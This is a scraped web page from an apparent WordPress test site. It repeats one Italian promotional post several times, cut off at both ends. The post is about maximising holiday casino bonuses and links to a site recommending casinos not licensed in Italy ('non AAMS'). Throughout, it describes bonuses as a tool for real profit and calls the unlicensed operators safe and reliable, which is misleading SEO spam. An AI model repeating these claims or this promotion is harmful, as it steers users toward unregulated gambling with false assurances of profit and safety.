</tbody>
</table>
<p>Questa tabella semplifica il confronto tra le offerte dei vari operatori. Quando navighi su Karol Wojtyla, troverai una sezione dedicata ai siti non AAMS sicuri, dove ogni bonus è valutato secondo questi criteri.  </p>
<p>Industry Secret: i bonus legati a slot con alta volatilità possono offrire jackpot più grandi, ma richiedono una gestione più attenta del bankroll.  </p>
<h2>Strategie pratiche per trasformare i bonus in vincite reali</h2>
<p>Una volta scelto il bonus più adatto, è il momento di metterlo in pratica. Ecco un approccio passo‑passo:  </p>
<ol>
<li>Deposita l’importo minimo richiesto per attivare il bonus.  </li>
<li>Scegli giochi con RTP elevato (≥ 96%). Le slot di NetEnt o Microgaming sono ottime scelte.  </li>
<li>Gestisci il bankroll: imposta una puntata fissa pari al 2‑3 % del tuo capitale.  </li>
<li>Raggiungi il requisito di scommessa concentrandoti su giochi a bassa varianza per ridurre il rischio di perdita rapida.  </li>
</ol>
<p>Esempio: supponi di ricevere un bonus di €200 con requisito 20x. Dovrai scommettere €4 000. Se giochi a una slot con RTP del 96 % e una puntata di €10, ti serviranno circa 400 giri per completare il requisito, mantenendo il rischio contenuto.  </p>
<p>Did You Know? Alcuni casino online offrono bonus “no deposit” per i nuovi iscritti; questi sono perfetti per testare la piattaforma senza rischiare il proprio denaro.  </p>
<h2>Errori comuni da evitare quando si gioca con i bonus festivi</h2>
<p>Anche i giocatori più esperti possono incappare in trappole nascoste. Ecco le principali insidie da tenere a mente:  </p>
<ul>
<li>Ignorare i termini di scommessa: un requisito troppo alto può trasformare il bonus in una perdita certa.  </li>
<li>Giocare a giochi non eleggibili: molti bonus escludono le live roulette o i giochi con jackpot progressivo.  </li>
<li>Non rispettare i limiti di tempo: se la promozione scade prima di completare il wagering, il bonus viene annullato.  </li>
<li>Trascurare il supporto clienti: in caso di dubbi, è fondamentale contattare l’assistenza per chiarimenti.  </li>
</ul>
<p>Quick Win: imposta un promemoria sul tuo calendario per la scadenza del bonus; così eviterai sorprese dell’ultimo minuto.  </p>
<h2>Conclusione: scegli il partner giusto per i tuoi bonus</h2>
<p>Se vuoi sfruttare al massimo le offerte natalizie, affidati a una piattaforma che combina sicurezza, trasparenza e bonus vantaggiosi. Karol Wojtyla si distingue per la sua selezione di casino online stranieri affidabili, i bonus esclusivi e un’assistenza pronta a rispondere a ogni tua esigenza.  </p>
<p>Ricorda di giocare sempre in modo responsabile, impostando limiti di deposito e tempo di gioco.  </p>
<p>Pronto a iniziare? Scopri le offerte più interessanti e i casino non AAMS più affidabili su <a href="https://www.karol-wojtyla.org/">casino online non AAMS</a>. Con Karol Wojtyla avrai a disposizione tutti gli strumenti per trasformare i bonus festivi in vere opportunità di vincita.</p>
		</div><!-- .entry-content -->
		
		<aside class="entry-taxonomy">
						<div class="cat-links">
				Category: <a href="https://psp-wp-test.objectsdev.com/category/uncategorized/" rel="category tag">Uncategorized</a>			</div>
			
					</aside>

		
</article><!-- #post-## -->

<article id="post-846820" class="post-846820 post type-post status-publish format-standard hentry category-uncategorized">

			<header class="entry-header">
		
			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-3/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:25:46+02:00">May 13, 2025</time><time class="updated" datetime="2026-02-10T17:52:09+02:00">February 10, 2026</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-3/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-3/" rel="bookmark">Strategie avanzate per massimizzare i bonus festivi nei casino online</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<h1>Strategie avanzate per massimizzare i bonus festivi nei casino online</h1>
<p>Durante le festività, i casino online lanciano promozioni più generose rispetto al resto dell’anno. Ma perché questi bonus sono così allettanti? Innanzitutto, gli operatori vogliono attirare nuovi giocatori e fidelizzare quelli esistenti, quindi aumentano il valore del match bonus, le giri gratuiti e le offerte di cashback. Inoltre, le condizioni di scommessa (wagering) sono spesso più favorevoli, con moltiplicatori ridotti e periodi di validità più lunghi.  </p>
<p>Hai mai pensato che un bonus ben scelto possa trasformare una piccola scommessa in una vincita consistente? Con la giusta strategia, il bonus diventa un vero strumento di profitto, non solo un “regalo” da spendere.  </p>
<p>Karol Wojtyla è un esempio di piattaforma che propone bonus natalizi strutturati per tutti i livelli di gioco. Il sito offre una panoramica chiara delle offerte, evidenziando i requisiti di scommessa e i giochi più adatti per sfruttarle al meglio. In questo modo, i giocatori possono concentrarsi sulla scelta dei giochi più remunerativi senza perdersi nei dettagli contrattuali.  </p>
<p>Pro Tip: prima di accettare un bonus, verifica sempre il rapporto tra il valore del bonus e il requisito di scommessa. Un rapporto 1:20 è più vantaggioso di un 1:40.  </p>
<h2>Come valutare i migliori bonus: criteri di scelta</h2>
<p>Non tutti i bonus sono creati uguali. Per individuare i migliori casino non AAMS è fondamentale analizzare alcuni fattori chiave:  </p>
<table>
<thead>
<tr>
<th>Criterio</th>
<th>Importanza</th>
<th>Come valutare su Karol Wojtyla</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valore del bonus</td>
<td>Alta</td>
<td>Controlla l’importo massimo e il match percentage</td>
</tr>
<tr>
<td>Requisiti di scommessa</td>
<td>Media</td>
<td>Confronta il moltiplicatore (es. 20x vs 30x)</td>
</tr>
<tr>
<td>Durata della promozione</td>
<td>Bassa</td>
<td>Verifica il periodo di validità (30‑90 giorni)</td>
</tr>
<tr>
<td>Giochi eleggibili</td>
<td>Alta</td>
<td>Preferisci slot con RTP ≥ 96% o giochi da tavolo a bassa volatilità</td>
</tr>
</tbody>
</table>
<p>Questa tabella semplifica il confronto tra le offerte dei vari operatori. Quando navighi su Karol Wojtyla, troverai una sezione dedicata ai siti non AAMS sicuri, dove ogni bonus è valutato secondo questi criteri.  </p>
<p>Industry Secret: i bonus legati a slot con alta volatilità possono offrire jackpot più grandi, ma richiedono una gestione più attenta del bankroll.  </p>
<h2>Strategie pratiche per trasformare i bonus in vincite reali</h2>
<p>Una volta scelto il bonus più adatto, è il momento di metterlo in pratica. Ecco un approccio passo‑passo:  </p>
<ol>
<li>Deposita l’importo minimo richiesto per attivare il bonus.  </li>
<li>Scegli giochi con RTP elevato (≥ 96%). Le slot di NetEnt o Microgaming sono ottime scelte.  </li>
<li>Gestisci il bankroll: imposta una puntata fissa pari al 2‑3 % del tuo capitale.  </li>
<li>Raggiungi il requisito di scommessa concentrandoti su giochi a bassa varianza per ridurre il rischio di perdita rapida.  </li>
</ol>
<p>Esempio: supponi di ricevere un bonus di €200 con requisito 20x. Dovrai scommettere €4 000. Se giochi a una slot con RTP del 96 % e una puntata di €10, ti serviranno circa 400 giri per completare il requisito, mantenendo il rischio contenuto.  </p>
<p>Did You Know? Alcuni casino online offrono bonus “no deposit” per i nuovi iscritti; questi sono perfetti per testare la piattaforma senza rischiare il proprio denaro.  </p>
<h2>Errori comuni da evitare quando si gioca con i bonus festivi</h2>
<p>Anche i giocatori più esperti possono incappare in trappole nascoste. Ecco le principali insidie da tenere a mente:  </p>
<ul>
<li>Ignorare i termini di scommessa: un requisito troppo alto può trasformare il bonus in una perdita certa.  </li>
<li>Giocare a giochi non eleggibili: molti bonus escludono le live roulette o i giochi con jackpot progressivo.  </li>
<li>Non rispettare i limiti di tempo: se la promozione scade prima di completare il wagering, il bonus viene annullato.  </li>
<li>Trascurare il supporto clienti: in caso di dubbi, è fondamentale contattare l’assistenza per chiarimenti.  </li>
</ul>
<p>Quick Win: imposta un promemoria sul tuo calendario per la scadenza del bonus; così eviterai sorprese dell’ultimo minuto.  </p>
<h2>Conclusione: scegli il partner giusto per i tuoi bonus</h2>
<p>Se vuoi sfruttare al massimo le offerte natalizie, affidati a una piattaforma che combina sicurezza, trasparenza e bonus vantaggiosi. Karol Wojtyla si distingue per la sua selezione di casino online stranieri affidabili, i bonus esclusivi e un’assistenza pronta a rispondere a ogni tua esigenza.  </p>
<p>Ricorda di giocare sempre in modo responsabile, impostando limiti di deposito e tempo di gioco.  </p>
<p>Pronto a iniziare? Scopri le offerte più interessanti e i casino non AAMS più affidabili su <a href="https://www.karol-wojtyla.org/">casino online non AAMS</a>. Con Karol Wojtyla avrai a disposizione tutti gli strumenti per trasformare i bonus festivi in vere opportunità di vincita.</p>
		</div><!-- .entry-content -->
		
		<aside class="entry-taxonomy">
						<div class="cat-links">
				Category: <a href="https://psp-wp-test.objectsdev.com/category/uncategorized/" rel="category tag">Uncategorized</a>			</div>
			
					</aside>

		
</article><!-- #post-## -->

<article id="post-846813" class="post-846813 post type-post status-publish format-standard hentry category-uncategorized">

			<header class="entry-header">
		
			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:25:46+02:00">May 13, 2025</time><time class="updated" datetime="2026-02-10T17:50:49+02:00">February 10, 2026</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online/" rel="bookmark">Strategie avanzate per massimizzare i bonus festivi nei casino online</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<h1>Strategie avanzate per massimizzare i bonus festivi nei casino online</h1>
<p>Durante le festività, i casino online lanciano promozioni più generose rispetto al resto dell’anno. Ma perché questi bonus sono così allettanti? Innanzitutto, gli operatori vogliono attirare nuovi giocatori e fidelizzare quelli esistenti, quindi aumentano il valore del match bonus, le giri gratuiti e le offerte di cashback. Inoltre, le condizioni di scommessa (wagering) sono spesso più favorevoli, con moltiplicatori ridotti e periodi di validità più lunghi.  </p>
<p>Hai mai pensato che un bonus ben scelto possa trasformare una piccola scommessa in una vincita consistente? Con la giusta strategia, il bonus diventa un vero strumento di profitto, non solo un “regalo” da spendere.  </p>
<p>Karol Wojtyla è un esempio di piattaforma che propone bonus natalizi strutturati per tutti i livelli di gioco. Il sito offre una panoramica chiara delle offerte, evidenziando i requisiti di scommessa e i giochi più adatti per sfruttarle al meglio. In questo modo, i giocatori possono concentrarsi sulla scelta dei giochi più remunerativi senza perdersi nei dettagli contrattuali.  </p>
<p>Pro Tip: prima di accettare un bonus, verifica sempre il rapporto tra il valore del bonus e il requisito di scommessa. Un rapporto 1:20 è più vantaggioso di un 1:40.  </p>
<h2>Come valutare i migliori bonus: criteri di scelta</h2>
<p>Non tutti i bonus sono creati uguali. Per individuare i migliori casino non AAMS è fondamentale analizzare alcuni fattori chiave:  </p>
<table>
<thead>
<tr>
<th>Criterio</th>
<th>Importanza</th>
<th>Come valutare su Karol Wojtyla</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valore del bonus</td>
<td>Alta</td>
<td>Controlla l’importo massimo e il match percentage</td>
</tr>
<tr>
<td>Requisiti di scommessa</td>
<td>Media</td>
<td>Confronta il moltiplicatore (es. 20x vs 30x)</td>
</tr>
<tr>
<td>Durata della promozione</td>
<td>Bassa</td>
<td>Verifica il periodo di validità (30‑90 giorni)</td>
</tr>
<tr>
<td>Giochi eleggibili</td>
<td>Alta</td>
<td>Preferisci slot con RTP ≥ 96% o giochi da tavolo a bassa volatilità</td>
</tr>
</tbody>
</table>
<p>Questa tabella semplifica il confronto tra le offerte dei vari operatori. Quando navighi su Karol Wojtyla, troverai una sezione dedicata ai siti non AAMS sicuri, dove ogni bonus è valutato secondo questi criteri.  </p>
<p>Industry Secret: i bonus legati a slot con alta volatilità possono offrire jackpot più grandi, ma richiedono una gestione più attenta del bankroll.  </p>
<h2>Strategie pratiche per trasformare i bonus in vincite reali</h2>
<p>Una volta scelto il bonus più adatto, è il momento di metterlo in pratica. Ecco un approccio passo‑passo:  </p>
<ol>
<li>Deposita l’importo minimo richiesto per attivare il bonus.  </li>
<li>Scegli giochi con RTP elevato (≥ 96%). Le slot di NetEnt o Microgaming sono ottime scelte.  </li>
<li>Gestisci il bankroll: imposta una puntata fissa pari al 2‑3 % del tuo capitale.  </li>
<li>Raggiungi il requisito di scommessa concentrandoti su giochi a bassa varianza per ridurre il rischio di perdita rapida.  </li>
</ol>
<p>Esempio: supponi di ricevere un bonus di €200 con requisito 20x. Dovrai scommettere €4 000. Se giochi a una slot con RTP del 96 % e una puntata di €10, ti serviranno circa 400 giri per completare il requisito, mantenendo il rischio contenuto.  </p>
<p>Did You Know? Alcuni casino online offrono bonus “no deposit” per i nuovi iscritti; questi sono perfetti per testare la piattaforma senza rischiare il proprio denaro.  </p>
<h2>Errori comuni da evitare quando si gioca con i bonus festivi</h2>
<p>Anche i giocatori più esperti possono incappare in trappole nascoste. Ecco le principali insidie da tenere a mente:  </p>
<ul>
<li>Ignorare i termini di scommessa: un requisito troppo alto può trasformare il bonus in una perdita certa.  </li>
<li>Giocare a giochi non eleggibili: molti bonus escludono le live roulette o i giochi con jackpot progressivo.  </li>
<li>Non rispettare i limiti di tempo: se la promozione scade prima di completare il wagering, il bonus viene annullato.  </li>
<li>Trascurare il supporto clienti: in caso di dubbi, è fondamentale contattare l’assistenza per chiarimenti.  </li>
</ul>
<p>Quick Win: imposta un promemoria sul tuo calendario per la scadenza del bonus; così eviterai sorprese dell’ultimo minuto.  </p>
<h2>Conclusione: scegli il partner giusto per i tuoi bonus</h2>
<p>Se vuoi sfruttare al massimo le offerte natalizie, affidati a una piattaforma che combina sicurezza, trasparenza e bonus vantaggiosi. Karol Wojtyla si distingue per la sua selezione di casino online stranieri affidabili, i bonus esclusivi e un’assistenza pronta a rispondere a ogni tua esigenza.  </p>
<p>Ricorda di giocare sempre in modo responsabile, impostando limiti di deposito e tempo di gioco.  </p>
<p>Pronto a iniziare? Scopri le offerte più interessanti e i casino non AAMS più affidabili su <a href="https://www.karol-wojtyla.org/">casino online non AAMS</a>. Con Karol Wojtyla avrai a disposizione tutti gli strumenti per trasformare i bonus festivi in vere opportunità di vincita.</p>
		</div><!-- .entry-content -->
		
		<aside class="entry-taxonomy">
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<article id="post-846834" class="post-846834 post type-post status-publish format-standard hentry category-uncategorized">

			<header class="entry-header">
		
			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-5/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:25:46+02:00">May 13, 2025</time><time class="updated" datetime="2026-02-10T17:54:37+02:00">February 10, 2026</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-5/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-5/" rel="bookmark">Strategie avanzate per massimizzare i bonus festivi nei casino online</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<h1>Strategie avanzate per massimizzare i bonus festivi nei casino online</h1>
<p>Durante le festività, i casino online lanciano promozioni più generose rispetto al resto dell’anno. Ma perché questi bonus sono così allettanti? Innanzitutto, gli operatori vogliono attirare nuovi giocatori e fidelizzare quelli esistenti, quindi aumentano il valore del match bonus, le giri gratuiti e le offerte di cashback. Inoltre, le condizioni di scommessa (wagering) sono spesso più favorevoli, con moltiplicatori ridotti e periodi di validità più lunghi.  </p>
<p>Hai mai pensato che un bonus ben scelto possa trasformare una piccola scommessa in una vincita consistente? Con la giusta strategia, il bonus diventa un vero strumento di profitto, non solo un “regalo” da spendere.  </p>
<p>Karol Wojtyla è un esempio di piattaforma che propone bonus natalizi strutturati per tutti i livelli di gioco. Il sito offre una panoramica chiara delle offerte, evidenziando i requisiti di scommessa e i giochi più adatti per sfruttarle al meglio. In questo modo, i giocatori possono concentrarsi sulla scelta dei giochi più remunerativi senza perdersi nei dettagli contrattuali.  </p>
<p>Pro Tip: prima di accettare un bonus, verifica sempre il rapporto tra il valore del bonus e il requisito di scommessa. Un rapporto 1:20 è più vantaggioso di un 1:40.  </p>
<h2>Come valutare i migliori bonus: criteri di scelta</h2>
<p>Non tutti i bonus sono creati uguali. Per individuare i migliori casino non AAMS è fondamentale analizzare alcuni fattori chiave:  </p>
<table>
<thead>
<tr>
<th>Criterio</th>
<th>Importanza</th>
<th>Come valutare su Karol Wojtyla</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valore del bonus</td>
<td>Alta</td>
<td>Controlla l’importo massimo e il match percentage</td>
</tr>
<tr>
<td>Requisiti di scommessa</td>
<td>Media</td>
<td>Confronta il moltiplicatore (es. 20x vs 30x)</td>
</tr>
<tr>
<td>Durata della promozione</td>
<td>Bassa</td>
<td>Verifica il periodo di validità (30‑90 giorni)</td>
</tr>
<tr>
<td>Giochi eleggibili</td>
<td>Alta</td>
<td>Preferisci slot con RTP ≥ 96% o giochi da tavolo a bassa volatilità</td>
</tr>
</tbody>
</table>
<p>Questa tabella semplifica il confronto tra le offerte dei vari operatori. Quando navighi su Karol Wojtyla, troverai una sezione dedicata ai siti non AAMS sicuri, dove ogni bonus è valutato secondo questi criteri.  </p>
<p>Industry Secret: i bonus legati a slot con alta volatilità possono offrire jackpot più grandi, ma richiedono una gestione più attenta del bankroll.  </p>
<h2>Strategie pratiche per trasformare i bonus in vincite reali</h2>
<p>Una volta scelto il bonus più adatto, è il momento di metterlo in pratica. Ecco un approccio passo‑passo:  </p>
<ol>
<li>Deposita l’importo minimo richiesto per attivare il bonus.  </li>
<li>Scegli giochi con RTP elevato (≥ 96%). Le slot di NetEnt o Microgaming sono ottime scelte.  </li>
<li>Gestisci il bankroll: imposta una puntata fissa pari al 2‑3 % del tuo capitale.  </li>
<li>Raggiungi il requisito di scommessa concentrandoti su giochi a bassa varianza per ridurre il rischio di perdita rapida.  </li>
</ol>
<p>Esempio: supponi di ricevere un bonus di €200 con requisito 20x. Dovrai scommettere €4 000. Se giochi a una slot con RTP del 96 % e una puntata di €10, ti serviranno circa 400 giri per completare il requisito, mantenendo il rischio contenuto.  </p>
<p>Did You Know? Alcuni casino online offrono bonus “no deposit” per i nuovi iscritti; questi sono perfetti per testare la piattaforma senza rischiare il proprio denaro.  </p>
<h2>Errori comuni da evitare quando si gioca con i bonus festivi</h2>
<p>Anche i giocatori più esperti possono incappare in trappole nascoste. Ecco le principali insidie da tenere a mente:  </p>
<ul>
<li>Ignorare i termini di scommessa: un requisito troppo alto può trasformare il bonus in una perdita certa.  </li>
<li>Giocare a giochi non eleggibili: molti bonus escludono le live roulette o i giochi con jackpot progressivo.  </li>
<li>Non rispettare i limiti di tempo: se la promozione scade prima di completare il wagering, il bonus viene annullato.  </li>
<li>Trascurare il supporto clienti: in caso di dubbi, è fondamentale contattare l’assistenza per chiarimenti.  </li>
</ul>
<p>Quick Win: imposta un promemoria sul tuo calendario per la scadenza del bonus; così eviterai sorprese dell’ultimo minuto.  </p>
<h2>Conclusione: scegli il partner giusto per i tuoi bonus</h2>
<p>Se vuoi sfruttare al massimo le offerte natalizie, affidati a una piattaforma che combina sicurezza, trasparenza e bonus vantaggiosi. Karol Wojtyla si distingue per la sua selezione di casino online stranieri affidabili, i bonus esclusivi e un’assistenza pronta a rispondere a ogni tua esigenza.  </p>
<p>Ricorda di giocare sempre in modo responsabile, impostando limiti di deposito e tempo di gioco.  </p>
<p>Pronto a iniziare? Scopri le offerte più interessanti e i casino non AAMS più affidabili su <a href="https://www.karol-wojtyla.org/">casino online non AAMS</a>. Con Karol Wojtyla avrai a disposizione tutti gli strumenti per trasformare i bonus festivi in vere opportunità di vincita.</p>
		</div><!-- .entry-content -->
		
		<aside class="entry-taxonomy">
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<article id="post-846824" class="post-846824 post type-post status-publish format-standard hentry category-uncategorized">

			<header class="entry-header">
		
			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-4/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:25:46+02:00">May 13, 2025</time><time class="updated" datetime="2026-02-10T17:53:02+02:00">February 10, 2026</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-4/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-4/" rel="bookmark">Strategie avanzate per massimizzare i bonus festivi nei casino online</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<h1>Strategie avanzate per massimizzare i bonus festivi nei casino online</h1>
<p>Durante le festività, i casino online lanciano promozioni più generose rispetto al resto dell’anno. Ma perché questi bonus sono così allettanti? Innanzitutto, gli operatori vogliono attirare nuovi giocatori e fidelizzare quelli esistenti, quindi aumentano il valore del match bonus, le giri gratuiti e le offerte di cashback. Inoltre, le condizioni di scommessa (wagering) sono spesso più favorevoli, con moltiplicatori ridotti e periodi di validità più lunghi.  </p>
<p>Hai mai pensato che un bonus ben scelto possa trasformare una piccola scommessa in una vincita consistente? Con la giusta strategia, il bonus diventa un vero strumento di profitto, non solo un “regalo” da spendere.  </p>
<p>Karol Wojtyla è un esempio di piattaforma che propone bonus natalizi strutturati per tutti i livelli di gioco. Il sito offre una panoramica chiara delle offerte, evidenziando i requisiti di scommessa e i giochi più adatti per sfruttarle al meglio. In questo modo, i giocatori possono concentrarsi sulla scelta dei giochi più remunerativi senza perdersi nei dettagli contrattuali.  </p>
<p>Pro Tip: prima di accettare un bonus, verifica sempre il rapporto tra il valore del bonus e il requisito di scommessa. Un rapporto 1:20 è più vantaggioso di un 1:40.  </p>
<h2>Come valutare i migliori bonus: criteri di scelta</h2>
<p>Non tutti i bonus sono creati uguali. Per individuare i migliori casino non AAMS è fondamentale analizzare alcuni fattori chiave:  </p>
<table>
<thead>
<tr>
<th>Criterio</th>
<th>Importanza</th>
<th>Come valutare su Karol Wojtyla</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valore del bonus</td>
<td>Alta</td>
<td>Controlla l’importo massimo e il match percentage</td>
</tr>
<tr>
<td>Requisiti di scommessa</td>
<td>Media</td>
<td>Confronta il moltiplicatore (es. 20x vs 30x)</td>
</tr>
<tr>
<td>Durata della promozione</td>
<td>Bassa</td>
<td>Verifica il periodo di validità (30‑90 giorni)</td>
</tr>
<tr>
<td>Giochi eleggibili</td>
<td>Alta</td>
<td>Preferisci slot con RTP ≥ 96% o giochi da tavolo a bassa volatilità</td>
</tr>
</tbody>
</table>
<p>Questa tabella semplifica il confronto tra le offerte dei vari operatori. Quando navighi su Karol Wojtyla, troverai una sezione dedicata ai siti non AAMS sicuri, dove ogni bonus è valutato secondo questi criteri.  </p>
<p>Industry Secret: i bonus legati a slot con alta volatilità possono offrire jackpot più grandi, ma richiedono una gestione più attenta del bankroll.  </p>
<h2>Strategie pratiche per trasformare i bonus in vincite reali</h2>
<p>Una volta scelto il bonus più adatto, è il momento di metterlo in pratica. Ecco un approccio passo‑passo:  </p>
<ol>
<li>Deposita l’importo minimo richiesto per attivare il bonus.  </li>
<li>Scegli giochi con RTP elevato (≥ 96%). Le slot di NetEnt o Microgaming sono ottime scelte.  </li>
<li>Gestisci il bankroll: imposta una puntata fissa pari al 2‑3 % del tuo capitale.  </li>
<li>Raggiungi il requisito di scommessa concentrandoti su giochi a bassa varianza per ridurre il rischio di perdita rapida.  </li>
</ol>
<p>Esempio: supponi di ricevere un bonus di €200 con requisito 20x. Dovrai scommettere €4 000. Se giochi a una slot con RTP del 96 % e una puntata di €10, ti serviranno circa 400 giri per completare il requisito, mantenendo il rischio contenuto.  </p>
<p>Did You Know? Alcuni casino online offrono bonus “no deposit” per i nuovi iscritti; questi sono perfetti per testare la piattaforma senza rischiare il proprio denaro.  </p>
<h2>Errori comuni da evitare quando si gioca con i bonus festivi</h2>
<p>Anche i giocatori più esperti possono incappare in trappole nascoste. Ecco le principali insidie da tenere a mente:  </p>
<ul>
<li>Ignorare i termini di scommessa: un requisito troppo alto può trasformare il bonus in una perdita certa.  </li>
<li>Giocare a giochi non eleggibili: molti bonus escludono le live roulette o i giochi con jackpot progressivo.  </li>
<li>Non rispettare i limiti di tempo: se la promozione scade prima di completare il wagering, il bonus viene annullato.  </li>
<li>Trascurare il supporto clienti: in caso di dubbi, è fondamentale contattare l’assistenza per chiarimenti.  </li>
</ul>
<p>Quick Win: imposta un promemoria sul tuo calendario per la scadenza del bonus; così eviterai sorprese dell’ultimo minuto.  </p>
<h2>Conclusione: scegli il partner giusto per i tuoi bonus</h2>
<p>Se vuoi sfruttare al massimo le offerte natalizie, affidati a una piattaforma che combina sicurezza, trasparenza e bonus vantaggiosi. Karol Wojtyla si distingue per la sua selezione di casino online stranieri affidabili, i bonus esclusivi e un’assistenza pronta a rispondere a ogni tua esigenza.  </p>
<p>Ricorda di giocare sempre in modo responsabile, impostando limiti di deposito e tempo di gioco.  </p>
<p>Pronto a iniziare? Scopri le offerte più interessanti e i casino non AAMS più affidabili su <a href="https://www.karol-wojtyla.org/">casino online non AAMS</a>. Con Karol Wojtyla avrai a disposizione tutti gli strumenti per trasformare i bonus festivi in vere opportunità di vincita.</p>
		</div><!-- .entry-content -->
		
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<article id="post-846815" class="post-846815 post type-post status-publish format-standard hentry category-uncategorized">

			<header class="entry-header">
		
			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-2/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:25:46+02:00">May 13, 2025</time><time class="updated" datetime="2026-02-10T17:51:33+02:00">February 10, 2026</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-2/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/strategie-avanzate-per-massimizzare-i-bonus-festivi-nei-casino-online-2/" rel="bookmark">Strategie avanzate per massimizzare i bonus festivi nei casino online</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<h1>Strategie avanzate per massimizzare i bonus festivi nei casino online</h1>
<p>Durante le festività, i casino online lanciano promozioni più generose rispetto al resto dell’anno. Ma perché questi bonus sono così allettanti? Innanzitutto, gli operatori vogliono attirare nuovi giocatori e fidelizzare quelli esistenti, quindi aumentano il valore del match bonus, le giri gratuiti e le offerte di cashback. Inoltre, le condizioni di scommessa (wagering) sono spesso più favorevoli, con moltiplicatori ridotti e periodi di validità più lunghi.  </p>
<p>Hai mai pensato che un bonus ben scelto possa trasformare una piccola scommessa in una vincita consistente? Con la giusta strategia, il bonus diventa un vero strumento di profitto, non solo un “regalo” da spendere.  </p>
<p>Karol Wojtyla è un esempio di piattaforma che propone bonus natalizi strutturati per tutti i livelli di gioco. Il sito offre una panoramica chiara delle offerte, evidenziando i requisiti di scommessa e i giochi più adatti per sfruttarle al meglio. In questo modo, i giocatori possono concentrarsi sulla scelta dei giochi più remunerativi senza perdersi nei dettagli contrattuali.  </p>
<p>Pro Tip: prima di accettare un bonus, verifica sempre il rapporto tra il valore del bonus e il requisito di scommessa. Un rapporto 1:20 è più vantaggioso di un 1:40.  </p>
<h2>Come valutare i migliori bonus: criteri di scelta</h2>
<p>Non tutti i bonus sono creati uguali. Per individuare i migliori casino non AAMS è fondamentale analizzare alcuni fattori chiave:  </p>
<table>
<thead>
<tr>
<th>Criterio</th>
<th>Importanza</th>
<th>Come valutare su Karol Wojtyla</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valore del bonus</td>
<td>Alta</td>
<td>Controlla l’importo massimo e il match percentage</td>
</tr>
<tr>
<td>Requisiti di scommessa</td>
<td>Media</td>
<td>Confronta il moltiplicatore (es. 20x vs 30x)</td>
</tr>
<tr>
<td>Durata della promozione</td>
<td>Bassa</td>
<td>Verifica il periodo di validità (30‑90 giorni)</td>
</tr>
<tr>
<td>Giochi eleggibili</td>
<td>Alta</td>
<td>Preferisci slot con RTP ≥ 96% o giochi da tavolo a bassa volatilità</td>
</tr>
</tbody>
</table>
<p>Questa tabella semplifica il confronto tra le offerte dei vari operatori. Quando navighi su Karol Wojtyla, troverai una sezione dedicata ai siti non AAMS sicuri, dove ogni bonus è valutato secondo questi criteri.  </p>
<p>Industry Secret: i bonus legati a slot con alta volatilità possono offrire jackpot più grandi, ma richiedono una gestione più attenta del bankroll.  </p>
<h2>Strategie pratiche per trasformare i bonus in vincite reali</h2>
<p>Una volta scelto il bonus più adatto, è il momento di metterlo in pratica. Ecco un approccio passo‑passo:  </p>
<ol>
<li>Deposita l’importo minimo richiesto per attivare il bonus.  </li>
<li>Scegli giochi con RTP elevato (≥ 96%). Le slot di NetEnt o Microgaming sono ottime scelte.  </li>
